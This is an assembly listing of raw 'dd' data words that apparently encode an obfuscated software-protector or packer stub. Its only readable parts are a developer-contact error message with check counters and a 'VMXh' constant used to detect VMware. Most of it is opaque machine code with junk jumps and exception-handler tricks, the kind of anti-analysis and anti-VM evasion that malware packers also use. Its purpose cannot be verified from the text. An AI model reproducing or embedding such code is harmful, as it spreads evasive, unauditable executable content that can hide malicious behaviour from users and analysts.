		dd 0E002C352h, 662BC81Ah, 66341CBFh, 5B3E181h, 4CEE9h
		dd 14E96000h, 0A5000000h, 0DE7DD447h, 1A94C747h, 0E29CF454h
		dd 177FC4CFh, 0F8EDB40h, 380h, 0D9B70F00h, 31C08B61h, 28226D9Dh
		dd 0DE86006h, 47000000h, 0F4D540D1h, 7C9CAE3Fh,	3A125976h
		dd 1E818589h, 665E0628h, 6808EB81h, 49BD8361h, 62801h
		dd 0BD830975h, 62814C5h, 50197400h, 0B8C08B53h,	7D4h, 2918589h
		dd 9D8D0628h, 62AA55Eh,	585BD3FFh, 14C5BD83h, 74000628h
		dd 0B8535017h, 7D4h, 2918589h, 9D8D0628h, 62AA24Dh, 585BD3FFh
		dd 14558D89h, 958B0628h, 6282115h, 958BC08Bh, 628245Dh
		dd 0F003F68h, 12E900h, 0DA8B0000h, 0A911ABD7h, 4687E86Ah
		dd 2CDC8D5Ch, 0C83AA411h, 0CE9006Ah, 0A6000000h, 3D723117h
		dd 0DD662223h, 6A16CCCDh, 80F96000h, 0FF610BDCh, 28246595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 8E9A73Ah, 0BB000000h, 821231B7h,	85C0219Ah
		dd 16850FC0h, 0E9000000h, 0Dh, 0E1A9265Fh, 26B8F568h, 7D19F2ACh
		dd 0D78B5231h, 0EE858959h, 0F062AEEh, 6ACAB7h, 0BD8D8B56h
		dd 5F062812h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 79A884C3h, 4BCF4F11h, 6063EC14h
		dd 0E9FAB760h, 0Fh, 75AF147Ch, 0C3A8DEA4h, 85EA17D9h, 61505797h
		dd 6850Fh, 9D290000h, 6280DC5h,	66006A61h, 6AD38Bh, 0B59D8B60h
		dd 6106282Dh, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0CBECDCC3h, 85896000h, 6281865h
		dd 14E8h, 499CF100h, 0E1098422h, 0E69C58C8h, 0D43F3AD5h
		dd 9F737795h, 0FE9F0h, 6D3C0000h, 0D56A54F0h, 54A05456h
		dd 1D6F941Ah, 8D615A92h, 2AF0CC85h, 0F9BD8B06h,	5006280Bh
		dd 6E9h, 2F4EDD00h, 6AA02A9Eh, 0C58D0301h, 6A062811h, 56006A01h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0EF489720h, 0D055C73Eh, 6AD2BF0Fh, 57006A01h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 8B0458A0h, 28093D8Dh, 0C810F06h, 0F000000h, 681h, 1DBD8B00h
		dd 68062829h, 0F01FFh, 345D9D89h, 0BD830628h, 62812B1h
		dd 69840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0F13DC350h,	8B4198D2h
		dd 8BA2581Eh, 2822598Dh, 4B858D06h, 6A062AEFh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 7FC1C353h, 81667B4Ah, 2959D7F7h, 282CE985h, 16E906h
		dd 5E90000h, 64000000h,	53FFC980h, 0EF21858Dh, 9509062Ah
		dd 6280781h, 0F1BD8950h, 50062802h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 9FC35343h, 7D95BAADh, 0EEEEB5FFh
		dd 0BF0F062Ah, 0DA95FFD3h, 6A062AEEh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0FC15C352h
		dd 0C777BA68h, 0C0850501h, 0B850Fh, 0B70F0000h,	30E9D3h
		dd 8B660000h, 0F28589D0h, 0BA062AEEh, 29109A04h, 0F2B5FFF5h
		dd 0BF062AEEh, 3E110F65h, 2A995FFh, 8B660628h, 0FC085CAh
		dd 585h, 0B70F5600h, 106A5FC8h,	28F9BD8Bh, 0BD830628h
		dd 62812B1h, 1D840F00h,	9000000h, 280F1195h, 4B858D06h
		dd 8B062AEFh, 28196D95h, 12E906h, 85310000h, 6280505h
		dd 0EF21858Dh, 8D8B062Ah, 62818E9h, 0E1B53150h,	0FF062803h
		dd 2AEEEEB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0D68B7285h, 0EEE695FFh, 8D8B062Ah
		dd 6281171h, 850FC085h,	0Fh, 0AE9h, 0BCB4CD00h,	0B36B80B6h
		dd 8984DEA8h, 2AEEF285h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 13DCFAF2h, 214C18C9h
		dd 0F49B589h, 6A0628h, 899523h,	6A0628h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 8FC35545h, 0EF42B6BEh
		dd 0FF8292E8h, 2AEEF2B5h, 0FA8B5306h, 98D895Fh,	0FF062820h
		dd 2AEEDE95h, 49B58906h, 8506282Bh, 3850FC0h, 80000000h
		dd 0B5FF69EDh, 62AEEF2h, 29D1958Bh, 95FF0628h, 62802A9h
		dd 0FC085FCh, 685h, 3DB58900h, 6A06281Fh, 8068F800h, 0E9000000h
		dd 14h,	8FDB9FC4h, 0EBF6E08Eh, 0EF24752Fh, 0C92E63DAh
		dd 2374422Dh, 0AE9036Ah, 41000000h, 929CC49Eh, 86AB764Eh
		dd 1006A47h, 280401B5h,	31006A06h, 28022DB5h, 6806h, 0B5FFC000h
		dd 62AEF6Ah, 0CE960h, 0B8120000h, 0D52C608Dh, 0B48686B8h
		dd 896054FFh, 2821B59Dh, 14E806h, 44700000h, 0CB7CFFCCh
		dd 30D942F0h, 1F863357h, 2999945Ch, 615F4991h, 0D995FF61h
		dd 6A062818h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0E66C357h, 0E64CE7EBh,	4B74AA05h
		dd 781BD89h, 0F8830628h, 0D5850FFFh, 0E9000004h, 14h, 2D8A596h
		dd 1336DECAh, 34AC908Bh, 352AF542h, 0E9C51D48h,	0F9D885FFh
		dd 10E9062Ah, 8E000000h, 129E67B4h, 4B08B4F9h, 0ADD0410Fh
		dd 832D1695h, 2AF9D8BDh, 840F0206h, 3AAh, 7E5BD8Bh, 858D0628h
		dd 5B243Bh, 19018589h, 0D0FF0628h, 1D718D8Bh, 858D0628h
		dd 5B1E8Eh, 2319BD01h, 0D0FF0628h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 5EC35646h, 811BACC5h, 6DFF3EC1h
		dd 0F8C08B64h, 149BD83h, 75000628h, 0C5BD8309h,	62814h
		dd 53501974h, 0D8B8C08Bh, 89000007h, 28029185h,	5E9D8D06h
		dd 0FF062AA5h, 83585BD3h, 2814C5BDh, 17740006h,	0D8B85350h
		dd 89000007h, 28029185h, 4D9D8D06h, 0FF062AA2h,	57585BD3h
		dd 0BE960h, 6D4B0000h, 0AD5AAE55h, 689C5AC7h, 616160E6h
		dd 8D29605Fh, 62820A1h,	5813CBBFh, 0C08B6172h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0BC35545h, 0E2F2775Eh
		dd 0B5294D55h, 62832F5h, 0F003F68h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 954DDFB7h
		dd 0EF9CEFB6h, 816630E2h, 6A61A6F2h, 0DD9D8900h, 6A062814h
		dd 598D8B00h, 0FF06282Dh, 28246595h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0DAB2779Eh
		dd 0E93B6BC8h, 5, 0F2C464D4h, 8BC08501h, 2804B98Dh, 8589F506h
		dd 62AEEEEh, 0D19D8B60h, 61062822h, 0EEF31BFh, 1FF6858h
		dd 0B529000Fh, 6280D0Dh, 0E358D8Bh, 0BD830628h,	62812B1h
		dd 1F840F00h, 0F000000h, 858DF9BFh, 62AEF4Bh, 0D958960h
		dd 6606282Bh, 0E961D18Bh, 12h, 0B23AD781h, 858D7DD4h, 62AEF21h
		dd 0B1F0CF81h, 3505C34h, 2807BD8Dh, 0EEB5FF06h,	0E9062AEEh
		dd 13h,	0C606C6E0h, 612B0D5Ch, 80E62188h, 9C518D3Bh, 0FFD74FA9h
		dd 2AEEE695h, 8960F906h, 2817099Dh, 6810F06h, 8B000000h
		dd 2833999Dh, 85896106h, 62AEEF2h, 4890Fh, 0B9660000h
		dd 85C7394Ah, 6282DF1h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BBC35040h
		dd 0F0670699h, 830A26EEh, 2AEEF2BDh, 840F0006h,	157h, 0BE9h
		dd 47DCEE00h, 102BD665h, 524EF65Dh, 0F1D0858Dh,	3BB5062Ah
		dd 50F88B66h, 6A016Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 24C907C3h, 0D1CD8083h, 0EEF2B5FFh
		dd 8F0F062Ah, 3, 0FFCE8B66h, 2AEEEA95h,	0FFA3B506h, 2AEEF2B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0E1A6190Dh, 16AF1F4Fh, 0A995FF07h, 0F9062802h
		dd 0F01FF68h, 41958900h, 83062808h, 2812B1BDh, 840F0006h
		dd 1Eh,	8DD18B66h, 2AEF4B85h, 8E806h, 0DF540000h, 1441EB00h
		dd 0E959FDD2h, 12h, 858DD18Ah, 62AEF21h, 0EB18509h, 0BF660628h
		dd 8B50AA96h, 2813198Dh, 0EEB5FF06h, 81062AEEh,	468720E1h
		dd 0E695FF40h, 6A062AEEh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0D19CC355h,	5270BDCFh
		dd 0E79EB966h, 0EEF28589h, 9531062Ah, 6282BB1h,	0EEF2B5FFh
		dd 0E281062Ah, 39824420h, 0EEE295FFh, 958B062Ah, 6280E6Dh
		dd 0EEF2B5FFh, 8166062Ah, 0FF97E1DFh, 2802A995h, 5E906h
		dd 0EBD10000h, 0E9079A60h, 7, 6D024D7Ah, 0E9B81666h, 0FFFFF6B5h
		dd 2FB18D89h, 0B5FF0628h, 62AFA3Bh, 0E599D29h, 0B70F0628h
		dd 0D995FFD7h, 0F062814h, 0C8Ah, 68F0F00h, 1000000h, 282B3185h
		dd 19858B06h, 6606282Ch, 0CCE9D08Bh, 0F000005h,	68Ch, 1D8D8B00h
		dd 8D062829h, 2AF1F0B5h, 7D8D3106h, 33062800h, 28274D8Dh
		dd 24858D06h, 6A062A9Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 87C3C355h, 8B8A5BBBh
		dd 28326995h, 6AD0FF06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 1507C353h, 11CDC0F7h
		dd 0BA66FDBBh, 0CB8B4062h, 8E0F006Ah, 3, 8BCEBF0Fh, 2810C98Dh
		dd 0FD95FF06h, 6606282Eh, 0F38BD38Bh, 0F85BED80h, 9F24858Dh
		dd 8D8B062Ah, 6280CDDh,	0BF66D0FFh, 6AC642h, 1189B531h
		dd 95FF0628h, 6282EFDh,	8EBAC08Bh, 8345993Ah, 280149BDh
		dd 9750006h, 14C5BD83h,	74000628h, 8B535019h, 7D9B8C0h
		dd 85890000h, 6280291h,	0A55E9D8Dh, 0D3FF062Ah,	0BD83585Bh
		dd 62814C5h, 50177400h,	7D9B853h, 85890000h, 6280291h
		dd 0A24D9D8Dh, 0D3FF062Ah, 0BD8B585Bh, 6282D11h, 0C08BF88Bh
		dd 6650EC8Ah, 0C281CB8Bh, 3A3E2F21h, 11E9D88Bh,	3C000000h
		dd 5C7BD98Fh, 65A1D790h, 30820080h, 224D9AA6h, 619D8D53h
		dd 8B062805h, 8B038903h, 43895043h, 0D49D8D50h,	8B062AF9h
		dd 5B038903h, 48A0Fh, 0BF660000h, 8589A264h, 6281A3Dh
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 98CC4FC3h, 0C49B501h, 60B20628h, 0F9D4858Dh
		dd 9589062Ah, 62800C1h,	6890Fh,	8D8B0000h, 6282EA9h, 5E950h
		dd 979A0000h, 0F50514C2h, 48B6606Ah, 561858Dh, 6A0628h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0F545FBC3h, 0B97F8693h, 0BD8BB586h, 6280251h, 10E9h
		dd 833E1300h, 0A72742BEh, 387302A3h, 0F2656B52h, 0BD2350F8h
		dd 6281901h, 958B006Ah,	6280F49h, 8589006Ah, 6280CBDh
		dd 180068h, 7E95000h, 0FD000000h, 0CEB1289Eh, 535AB2CAh
		dd 327995FFh, 67BA0628h, 0FF3E606Bh, 2810C195h,	1D958B06h
		dd 0FF062811h, 2AFA3BB5h, 61BD8906h, 0FF062819h, 2814D995h
		dd 918D8906h, 8D062820h, 28056185h, 8BFA8B06h, 6A1840h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 2FFFF5C3h, 8957D6B9h, 69BD8BFCh, 0C7062829h,	28023D85h
		dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 16B1C06Bh, 8F8D61h, 13E9h, 4AD4EE00h
		dd 4AB20722h, 43A1CD50h, 42AB9233h, 0DE12B512h,	12B1BD83h
		dd 0F000628h, 3B84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 49C9654h, 0DA8166A1h
		dd 8C3D63FEh, 0F000000h, 1BB83h, 0E97DB500h, 34h, 59A5BF66h
		dd 983Dh, 0A5830F00h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0DDBFC355h,	0AF277AECh
		dd 0D3AC9D2Eh, 243B858Dh, 952B005Bh, 6281749h, 6AD0FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F40F6C3h, 858DF8BFh, 5B1E8Eh, 47ABC781h, 0D0FF073Dh
		dd 28EDBD89h, 0C08B0628h, 4800Fh, 0BF660000h, 0BD83F82Ah
		dd 6280149h, 83097500h,	2814C5BDh, 19740006h, 0C08B5350h
		dd 0BC6B8h, 91858900h, 8D062802h, 2AA55E9Dh, 5BD3FF06h
		dd 0C5BD8358h, 62814h, 53501774h, 0BC6B8h, 91858900h, 8D062802h
		dd 2AA24D9Dh, 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 57E5D744h, 0DB19B88Eh
		dd 8870Fh, 8B560000h, 2817CDBDh, 0BD895A06h, 6280341h
		dd 0BD8BC08Bh, 62822C1h, 0FFFF883h, 7A85h, 10E800h, 21D60000h
		dd 0AFDA7364h, 8D4F3FDBh, 9E32C99Dh, 12E9B277h,	22000000h
		dd 0DE44CA10h, 0A0627C48h, 8070DB12h, 0F9347965h, 85C75A76h
		dd 628329Dh, 0
		dd 0A5B58B60h, 0F8062819h, 10DE961h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0B01FCAC3h
		dd 7B4E51AFh, 0E9CEF2EBh, 25h, 2FB18589h, 0E2BF0628h, 835572FAh
		dd 850F01F8h, 11h, 0FFEB70Fh, 1CE9FBB7h, 0B000001h, 28163595h
		dd 0F1BFE906h, 8501FFFFh, 62824B1h, 0BD89C08Bh,	628165Dh
		dd 149BD83h, 75000628h,	0C5BD8309h, 62814h, 53501974h
		dd 0DDB8C08Bh, 89000007h, 28029185h, 5E9D8D06h,	0FF062AA5h
		dd 83585BD3h, 2814C5BDh, 17740006h, 0DDB85350h,	89000007h
		dd 28029185h, 4D9D8D06h, 0FF062AA2h, 8B585BD3h,	2834DDBDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 48F0B132h, 605AAC4Eh, 6157D680h,	0B70FC08Bh
		dd 0E9D68BF9h, 293h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 5EC35545h, 109AEBA3h,	359D8952h, 8D06282Fh
		dd 2AF7D885h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 5DBF663Fh, 0D0858987h, 53062AF9h
		dd 0DAC98166h, 71E959B8h, 0F000000h, 58Ah, 0C9816600h
		dd 10E9CB78h, 0AE000000h, 0ABD350D0h, 2E5E900Dh, 47B87C5Eh
		dd 8D378231h, 2AF5E085h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 12372D5Ch, 0E92B6658h
		dd 11h,	37A42CA1h, 0BC451003h, 78506FD1h, 0A63430E0h, 95894096h
		dd 62816F9h, 0F9D08589h, 9D89062Ah, 628180Dh, 858D346Ah
		dd 6281D91h, 0D0B5FF50h, 6A062AF9h, 0E995FF00h,	8306280Dh
		dd 840F07F8h, 168h, 0F6DB8C66h,	850F04C3h, 102h, 0D2585C6h
		dd 68560628h, 9CA8B852h, 2DD5B5FFh, 858D0628h, 6283BBBh
		dd 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h, 2AFA4385h
		dd 2585C606h, 4706280Dh, 18AC9B68h, 0D5B5FFECh,	8D06282Dh
		dd 283BBB85h, 0FFD0FF06h, 0C6F08BD0h, 280D2585h, 61684F06h
		dd 0FFC62F26h, 28105DB5h, 0BB858D06h, 0FF06283Bh, 3F9D8DD0h
		dd 53062AFAh, 0FF56286Ah, 75C085D0h, 2585C600h,	4106280Dh
		dd 87649868h, 5DB5FFDBh, 8D062810h, 283BBB85h, 89D0FF06h
		dd 2AFA5C85h, 2585C606h, 4C06280Dh, 0A4E7A468h,	5DB5FF80h
		dd 8D062810h, 283BBB85h, 8BD0FF06h, 2AFA439Dh, 45B8D06h
		dd 489D8D53h, 53062AFAh, 0D0FF006Ah, 0FA439D8Bh, 3C7062Ah
		dd 1, 20C43C7h,	8B000000h, 2824D19Dh, 4585C706h, 6282Eh
		dd 6A000000h, 6A006A00h, 439D8B00h, 53062AFAh, 0B5FF006Ah
		dd 62AFA3Fh, 0FA5C95FFh, 85C6062Ah, 6280D25h, 0F7976845h
		dd 0B5FF92A5h, 628174Dh, 3BBB858Dh, 0D0FF0628h,	26A006Ah
		dd 8C66D0FFh, 4C3F6DBh,	9D8B3275h, 62AFA43h, 0C43C7h, 6A000000h
		dd 8B006A00h, 2AFA439Dh, 6A5306h, 0FA3FB5FFh, 95FF062Ah
		dd 62AFA5Ch, 0FA3FB5FFh, 95FF062Ah, 62810C1h, 95FF006Ah
		dd 6282EFDh, 16C19D29h,	0D7810628h, 33160C86h, 68F0Fh
		dd 0BD8B0000h, 6283355h, 7E860h, 295A0000h, 0E13E019Ch
		dd 11950977h, 5F062819h, 381858Bh, 8D610628h, 2B2E4B85h
		dd 0E1BD0106h, 50062812h, 870Fh, 0BF0F0000h, 35FF64CEh
		dd 0
		dd 5E8h, 0D7BB0300h, 8589E1A2h,	6282D65h, 0EB23BF59h, 89644BF8h
		dd 25h,	27BA6600h, 11BD83EFh, 62833h, 69840Fh, 952B0000h
		dd 6280DF1h, 2415BD83h,	0F010628h, 5685h, 6D952B00h, 80062823h
		dd 2AFE5CBDh, 850F0006h, 43h, 2F9D8D89h, 0ADE90628h, 29000001h
		dd 280971B5h, 0FE806h, 65190000h, 9A8B2D48h, 867350B0h
		dd 0F877345Fh, 13E893h,	91660000h, 0CBDED948h, 9D9E585Ah
		dd 0BDE20A1Ch, 0FD5BD465h, 7EB9661Dh, 335A5AA1h, 10E8DBh
		dd 0F5830000h, 1234FCE1h, 0AF222207h, 93D9B773h, 880F09EAh
		dd 15h,	0FE8h, 40300C00h, 3127FC3Ah, 4A6A4362h,	0B4F56CF8h
		dd 53B65F5Ah, 0C88BC033h, 73F0F40h, 58F640Bh, 0
		dd 6604C483h, 0E28CEF81h, 0BD29E88Ah, 6282EC5h,	0FFFFB83h
		dd 0F84h, 69BA6600h, 104E95Dh, 0BD8B0000h, 62804A9h, 84E9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 66CE6A5Fh, 0DD70F781h, 0C244C8Bh, 0A481C7h
		dd 0FFFF0000h, 8183FFFFh, 0B8h,	0C3C03304h, 0C245C8Bh
		dd 0E855h, 815D0000h, 2B2E6DEDh, 0B8838B06h, 8D000000h
		dd 2B2F2B85h, 0B8838906h, 5D000000h, 89C3C033h,	282409BDh
		dd 15DFBF06h, 0BD8B522Ah, 6280701h, 0CE9h, 775A1800h, 1C0FF0CEh
		dd 0E3B72DDCh, 63858DEBh, 8B062B2Eh, 28126D8Dh,	0CA8A5006h
		dd 35FF64h, 64000000h, 2589h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0AA88E4C3h
		dd 21A19589h, 8B0F0628h, 6, 3325BD0Bh, 0AB90628h, 0B8000000h
		dd 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h, 810034B6h
		dd 345FE8EAh, 0FB81ED00h, 564D5868h, 85C70A75h,	6281E55h
		dd 1, 58F64h, 83000000h, 958904C4h, 6281735h, 0FAB70F51h
		dd 89C08B5Fh, 280109BDh, 49BD8306h, 62801h, 0BD830975h
		dd 62814C5h, 50197400h,	0B8C08B53h, 43Dh, 2E558589h, 9D8D0628h
		dd 62AA5C5h, 585BD3FFh,	14C5BD83h, 74000628h, 0B8535017h
		dd 43Dh, 2E558589h, 9D8D0628h, 62AA266h, 585BD3FFh, 7E9h
		dd 12F3E600h, 8009853Ch, 81666060h, 0F967AD3h, 85h, 61F96100h
		dd 0D8E97AB9h, 0E9C08B34h, 147h, 4, 31392E31h, 30h, 6 dup(0)
		dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
		dd 6E6F69h, 61656C50h, 202C6573h, 746E6F63h, 20746361h
		dd 20656874h, 74666F73h, 65726177h, 76656420h, 706F6C65h
		dd 20737265h, 68746977h, 65687420h, 6C6F6620h, 69776F6Ch
		dd 6320676Eh, 7365646Fh, 6854202Eh, 206B6E61h, 2E756F79h
		dd 0D0A0D0Ah, 2	dup(20202020h),	65727028h, 43207373h, 2B4C5254h
		dd 6E6F2043h, 69687420h, 69772073h, 776F646Eh, 206F7420h
		dd 79706F63h, 206F7420h, 70696C63h, 72616F62h, 20202964h
		dd 0D0A2020h, 65560D0Ah, 6F697372h, 3D20206Eh, 0A732520h
		dd 6568430Dh, 4E496B63h, 203D2020h, 0D0A6425h, 63656843h
		dd 54554F6Bh, 25203D20h, 500D0A64h, 49636F72h, 2020204Eh
		dd 6425203Dh, 72500D0Ah, 554F636Fh, 3D202054h, 0A642520h
		dd 6978450Dh, 204E4974h, 203D2020h, 0D0A6425h, 74697845h
		dd 2054554Fh, 25203D20h, 540D0A64h, 206E6950h, 20202020h
		dd 6425203Dh, 83000D0Ah, 2803D1BDh, 840F0006h, 12Dh, 0A07D858Dh
		dd 8D50062Ah, 2A9FE785h, 1685006h, 0FF800000h, 2AA08D95h
		dd 0BB858D06h, 50062B2Fh, 2FC5858Dh, 6A50062Bh,	8D006A00h
		dd 2A9FFB85h, 0B5FF5006h, 62AA07Dh, 1F6995FFh, 858D0628h
		dd 62B2FBBh, 0C9858D50h, 50062B2Fh, 6A006Ah, 0A00D858Dh
		dd 0FF50062Ah, 2AA07DB5h, 6995FF06h, 8D06281Fh,	2B2FBB85h
		dd 858D5006h, 62B2FD5h,	6A006A50h, 5A858D00h, 50062AA0h
		dd 0A07DB5FFh, 95FF062Ah, 6281F69h, 2FBB858Dh, 8D50062Bh
		dd 2B2FDD85h, 6A5006h, 858D006Ah, 62AA078h, 7DB5FF50h
		dd 0FF062AA0h, 281F6995h, 0BB858D06h, 50062B2Fh, 2FD9858Dh
		dd 6A50062Bh, 8D006A00h, 2AA06185h, 0B5FF5006h,	62AA07Dh
		dd 1F6995FFh, 858D0628h, 62B2FBBh, 0CD858D50h, 50062B2Fh
		dd 6A006Ah, 0A069858Dh,	0FF50062Ah, 2AA07DB5h, 6995FF06h
		dd 8D06281Fh, 2B2FBB85h, 858D5006h, 62B2FD1h, 6A006A50h
		dd 70858D00h, 50062AA0h, 0A07DB5FFh, 95FF062Ah,	6281F69h
		dd 0A07DB5FFh, 95FF062Ah, 628203Dh, 0A2E9h, 31BD8300h
		dd 62834h, 95840Fh, 0BD830000h,	6282415h, 11850F00h, 8B000000h
		dd 2805D195h, 0F8C28106h, 0E900001Ch, 0Fh, 561958Dh, 528B0628h
		dd 40C28134h, 893BD4C3h, 280D0995h, 9BD8306h, 6280Dh, 55840Fh
		dd 9D8B0000h, 6280D09h,	8B4CC383h, 0C5858903h, 8B062B2Fh
		dd 280D099Dh, 50C38306h, 8589038Bh, 62B2FC9h, 0D099D8Bh
		dd 0C3830628h, 89038B54h, 2B2FD585h, 99D8B06h, 8306280Dh
		dd 38B58C3h, 2FD98589h,	9D8B062Bh, 6280D09h, 8B5CC383h
		dd 0CD858903h, 83062B2Fh, 2803D1BDh, 850F0006h,	0Dh, 3431BD83h
		dd 0F000628h, 6884h, 0DDB5FF00h, 0FF062B2Fh, 2B2FD1B5h
		dd 0CDB5FF06h, 0FF062B2Fh, 2B2FD9B5h, 0D5B5FF06h, 0FF062B2Fh
		dd 2B2FC9B5h, 0C5B5FF06h, 8D062B2Fh, 2B2FBF85h,	858D5006h
		dd 62B2FF7h, 0D5858D50h, 5006282Fh, 0DF595FFh, 0C4830628h
		dd 8D406A24h, 2B2FE185h, 858D5006h, 6282FD5h, 0FF006A50h
		dd 280DE995h, 0FF016A06h, 282EFD95h, 0EBC18B06h, 46F31718h
		dd 9Bh,	4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 8BED815Dh, 61062B33h, 0E90004C2h, 0FFFFFFE6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 33C3B58Bh, 0E681062Bh, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 33C7B53Bh, 860F062Bh
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	280D0985h, 0A188606h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 2F2995FFh,	0F500628h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	280D0985h, 0C606h, 2404FF58h, 0E90004C2h
		dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh
		dd 9858B00h, 8606280Dh,	0FDB0A18h, 0FFFFF685h, 6D85C7FFh
		dd 62829h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h
		dd 0E9188918h, 0Ah, 296D85C7h, 1000628h, 5B580000h, 0C32404FFh
		dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h
		dd 1B101B0h, 13E9h, 0C88AAC00h,	0C332C302h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC90Ah, 0FFFFFFE5h, 850FD20Bh
		dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh
		dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h
		dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h
		dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h
		dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh
		dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh
		dd 0D88C66C3h, 840F04A8h, 29h, 336885C7h, 1062Bh, 0F500000h
		dd 0FE244C01h, 336C858Fh, 858D062Bh, 62B3364h, 336CBD8Dh
		dd 3889062Bh, 23E9h, 61858D00h,	8B062805h, 17053840h, 899B46F3h
		dd 2B336485h, 61858D06h, 8B062805h, 85893C40h, 62B3368h
		dd 3381858Dh, 8589062Bh, 6282F29h, 87E9h, 0D48B5200h, 8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 35F4858Dh, 8589062Bh, 6281F95h, 361C858Dh, 8589062Bh
		dd 6281FD9h, 3644858Dh,	8589062Bh, 6280531h, 0A8A0F60h
